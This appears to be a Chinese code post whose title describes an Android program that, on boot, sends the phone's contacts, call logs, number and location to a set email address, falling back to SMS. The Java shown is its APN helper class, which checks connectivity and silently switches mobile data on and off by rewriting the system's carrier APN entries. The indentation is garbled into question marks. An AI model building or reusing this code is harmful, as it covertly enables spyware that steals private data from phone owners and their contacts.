开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里，失败则发送短信到指定手机之（apn操作）
?static Uri uri = Uri.parse("content://telephony/carriers");
?static Context context;
?public APNUtils(Context context){
??this.context=context;
?}
?
/**
?* 检查网络
?* @return
?*/
??? public static boolean checkNet() {
???????? boolean flag = false;
???????? ConnectivityManager cwjManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
???????? if (cwjManager.getActiveNetworkInfo() != null) {
???????????? flag = cwjManager.getActiveNetworkInfo().isAvailable();
???????? }
???????? return flag;
???? }
?/**
? * 打开网络
? */
?public static void openAPN() {
??List<APN> list = getAPNList();
??for (APN apn : list) {
???ContentValues cv = new ContentValues();
???cv.put("apn", APNMatchUtils.matchAPN(apn.apn));
???cv.put("type", APNMatchUtils.matchAPN(apn.type));
???context.getContentResolver().update(uri, cv, "_id=?",
?????new String[] { apn.id });
??}
?}
?
/**
?* 关闭网络?
?*/
?public static void closeAPN() {
??List<APN> list = getAPNList();
??for (APN apn : list) {
???ContentValues cv = new ContentValues();
???cv.put("apn", APNMatchUtils.matchAPN(apn.apn) + "mdev");
???cv.put("type", APNMatchUtils.matchAPN(apn.type) + "mdev");
???context.getContentResolver().update(uri, cv, "_id=?",
?????new String[] { apn.id });
??}
?}
?
?private static List<APN> getAPNList() {
??String tag = "Main.getAPNList()";
??// current不为空表示可以使用的APN
??String projection[] = { "_id,apn,type,current" };
??Cursor cr = context.getContentResolver().query(uri, projection, null,
????null, null);
??List<APN> list = new ArrayList<APN>();
??while (cr != null && cr.moveToNext()) {
???Log.d(tag, cr.getString(cr.getColumnIndex("_id")) + "? "
?????+ cr.getString(cr.getColumnIndex("apn")) + "? "
?????+ cr.getString(cr.getColumnIndex("type")) + "? "
?????+ cr.getString(cr.getColumnIndex("current")));
???APN a = new APN();
???a.id = cr.getString(cr.getColumnIndex("_id"));
???a.apn = cr.getString(cr.getColumnIndex("apn"));
???a.type = cr.getString(cr.getColumnIndex("type"));
???list.add(a);
??}
??if (cr != null)
???cr.close();
??return list;
?}
?
